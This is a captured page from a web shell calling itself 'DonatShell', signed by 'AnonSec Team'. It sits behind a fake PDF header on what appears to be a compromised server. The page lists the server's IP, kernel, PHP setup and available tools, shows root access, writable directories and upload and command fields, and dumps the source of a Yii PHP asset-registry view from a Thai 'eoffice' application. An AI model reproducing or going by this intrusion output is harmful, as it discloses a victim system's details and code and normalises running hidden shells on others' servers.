%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/eoffice/frontend/modules/assetdata/views/default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/eoffice/frontend/modules/assetdata/views/default/index.php
<?php

use yii\helpers\Html;
use kartik\grid\GridView;
use yii\helpers\Url;
use yii\helpers\ArrayHelper;
use yii\widgets\Pjax;
use backend\assets\AppAsset;
use kartik\export\ExportMenu;
use backend\modules\departments\models\Departments;

$this->title = 'ทะเบียนครุภัณฑ์';
$this->params['breadcrumbs'][] = $this->title;
$backend = Yii::getAlias('@back');
?>
<?php
$gridColumns = [
//    [
//        'class' => 'kartik\grid\SerialColumn',
//        'contentOptions' => ['class' => 'kartik-sheet-style'],
//        'width' => '36px',
//        'header' => '',
//        'headerOptions' => ['class' => 'kartik-sheet-style']
//    ],
    [
        'attribute' => 'asset_departments',
        'label' => 'หน่วยงาน',
        'filter' => ArrayHelper::map(Departments::find()->where(['NOT IN', 'id', [12]])->all(), 'id', 'name'),
        'filterInputOptions' => [
            'class' => 'form-control',
            'prompt' => 'ทั้งหมด'
        ],
        'headerOptions' => ['style' => 'width:10%'],
        'format' => 'html',
        'value' => function($model) {
            return $model->departments->name;
        },
        'contentOptions' => function ($model) {
            return ['style' => 'color:#D2691E;text-align: center;cursor:pointer', 'id' => $model['id'], 'onclick' => 'window.location.href = "/assetdata/default/view?id="+(this.id)'];
        },
    ],
    [
        'attribute' => 'asset_type_id',
        'label' => 'ประเภทครุภัณฑ์',
        'filter' => ArrayHelper::map(backend\modules\assetdata\models\AssetType::find()->asArray()->all(), 'id', 'asset_type_name'),
        'filterInputOptions' => [
            'class' => 'form-control',
            'prompt' => 'ทั้งหมด'
        ],
        'headerOptions' => ['style' => 'width:10%'],
        'format' => 'html',
        'value' => function ($model) {
            return $model->assetType->asset_type_name;
        },
        'contentOptions' => function ($model) {
            return ['style' => 'color:#D2691E;text-align: center;cursor:pointer', 'id' => $model['id'], 'onclick' => 'window.location.href = "/assetdata/default/view?id="+(this.id)'];
        },
    ],
    [
        'attribute' => 'asset_name',
        'contentOptions' => function ($model) {
            return [
                'style' => 'text-align: left;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;color:#1E90FF',
                'id' => $model->id,
                'onclick' => 'window.location.href = "/assetdata/default/view?id="+(this.id)'
            ];
        },
    ],
    [
        'attribute' => 'asset_id',
        'headerOptions' => ['style' => 'width:1%'],
        'contentOptions' =>
        function ($model) {
            return ['style' => 'font-weight: bold;color:#008000;text-align: center;cursor:pointer', 'id' => $model->id, 'onclick' => 'window.location.href = "/assetdata/default/view?id="+(this.id)'];
        },
    ],
    [
        'attribute' => 'assetResponsiblesName',
        'label' => 'ผู้ใช้/ผู้ดูแล',
        'format' => 'html',
        'value' => 'assetResponsibles.asset_responsible_name',
        'headerOptions' => ['style' => 'width:150px;'],
        'contentOptions' =>
        function ($model) {
            return [
                'style' => 'text-align: left;cursor:pointer;overflow: auto;white-space: normal; word-wrap: break-word;',
                'id' => $model->id,
                'onclick' => 'window.location.href = "/assetdata/default/view?id="+(this.id)'];
        },
    ],
    [
        'attribute' => 'asset_price',
        'format' => ['decimal', 2],
        'pageSummary' => true,
        'headerOptions' => ['style' => 'width:110px;'],
        'contentOptions' =>
        function ($model) {
            return ['style' => 'text-align: right;color:red;cursor:pointer', 'id' => $model->id, 'onclick' => 'window.location.href = "/assetdata/default/view?id="+(this.id)'];
        },
    ],
    [
        'attribute' => 'asset_status1',
        'label' => 'สถานะ',
        'width' => '10%',
        'headerOptions' => ['style' => 'width:90px;'],
        'filter' => array("1" => "ใช้งานได้", "2" => "ชำรุด", "3" => "สุญหาย", "4" => "จำหน่าย", "5" => "อื่นๆ"),
        'filterInputOptions' => [
            'class' => 'form-control',
            'prompt' => 'ทั้งหมด'
        ],
        'format' => 'html',
        'value' => function ($model) {
            $value_asset_status = '';
            if ($model->asset_status1 == 1) {
                $value_asset_status = '<span class="m-badge m-badge--info m-badge--wide m-badge--rounded">ใช้งานได้</span>';
            }
            if ($model->asset_status1 == 2) {
                $value_asset_status = '<span class="m-badge m-badge--warning m-badge--wide m-badge--rounded">ชำรุด</span>';
            }
            if ($model->asset_status1 == 3) {
                $value_asset_status = '<span class="m-badge m-badge--danger m-badge--wide m-badge--rounded">สุญหาย</span>';
            }
            if ($model->asset_status1 == 4) {
                $value_asset_status = '<span class="m-badge m-badge--success m-badge--wide m-badge--rounded">จำหน่าย</span>';
            }
            if ($model->asset_status1 == 5) {
                $value_asset_status = '<span class="m-badge m-badge--metal m-badge--wide m-badge--rounded">อื่นๆ</span>';
            }
            return $value_asset_status;
        },
        'contentOptions' =>
        function ($model) {
            return ['style' => 'text-align: center;cursor:pointer', 'id' => $model->id, 'onclick' => 'window.location.href = "/assetdata/default/view?id="+(this.id)'];
        },
    ],
];
?>
<div class="asset-data-index">
    <div class="body-content">
        <div class="m-divider m--padding-bottom-20">
            <span></span>
            <h3 class="bg-light m--padding-20"><?= Html::encode($this->title) ?></h3>
            <span></span>
        </div>
        <div class="m-portlet m-portlet--mobile">
            <?php // echo $this->render('_search', ['model' => $searchModel]);  ?>
            <?php Pjax::begin(['id' => 'grid-user-pjax', 'timeout' => 5000]) ?>
            <?=
            GridView::widget([
                'id' => 'grid-' . Yii::$app->controller->module->id . Yii::$app->controller->action->id,
                'dataProvider' => $dataProvider,
                'filterModel' => $searchModel,
                'options' => [
                    'class' => 'm-datatable__table table table-bordered'
                ],
                'filterRowOptions' => ['class' => 'kartik-sheet-style'],
                'layout' => "{items}\n{pager}",
                'showPageSummary' => false,
                'panel' => [
                    'type' => GridView::TYPE_PRIMARY
                ],
                'panelTemplate' => '
                        <div class="m_datatable m-datatable m-datatable--default m-datatable--loaded panel {type}">
                            {items}
                            <div class="m-datatable__pager m-datatable--paging-loaded clearfix">
                                {pager}
                            </div>
                            <div class="clearfix"></div>
                        </div>',
                'pjax' => true,
                'pjaxSettings' => [
                    'neverTimeout' => true,
                    'enablePushState' => true,
                    'options' => ['id' => 'grid-' . Yii::$app->controller->module->id . Yii::$app->controller->action->id,],
                ],
                'pager' => Yii::$app->params['pagerX'],
                'toolbar' => [
                    '{export}',
                    '{toggleData}'
                ],
                'export' => [
                    'label' => 'ดาว์โหลดเอกสาร',
                    'fontAwesome' => true,
                    'showConfirmAlert' => false,
                    'target' => \kartik\grid\GridView::TARGET_BLANK
                ],
                'exportConfig' => [
                    \kartik\grid\GridView::EXCEL => false,
                ],
                'responsive' => true,
                'responsiveWrap' => false,
                'hover' => true,
                'headerRowOptions' => ['class' => 'header-table-center',],
                'columns' => $gridColumns,
                'krajeeDialogSettings' => ['overrideYiiConfirm' => false]
            ]);
            ?>
            <div class="clearfix"></div>
<?php Pjax::end() ?>
        </div>
    </div>
</div>

Anon7 - 2022
AnonSec Team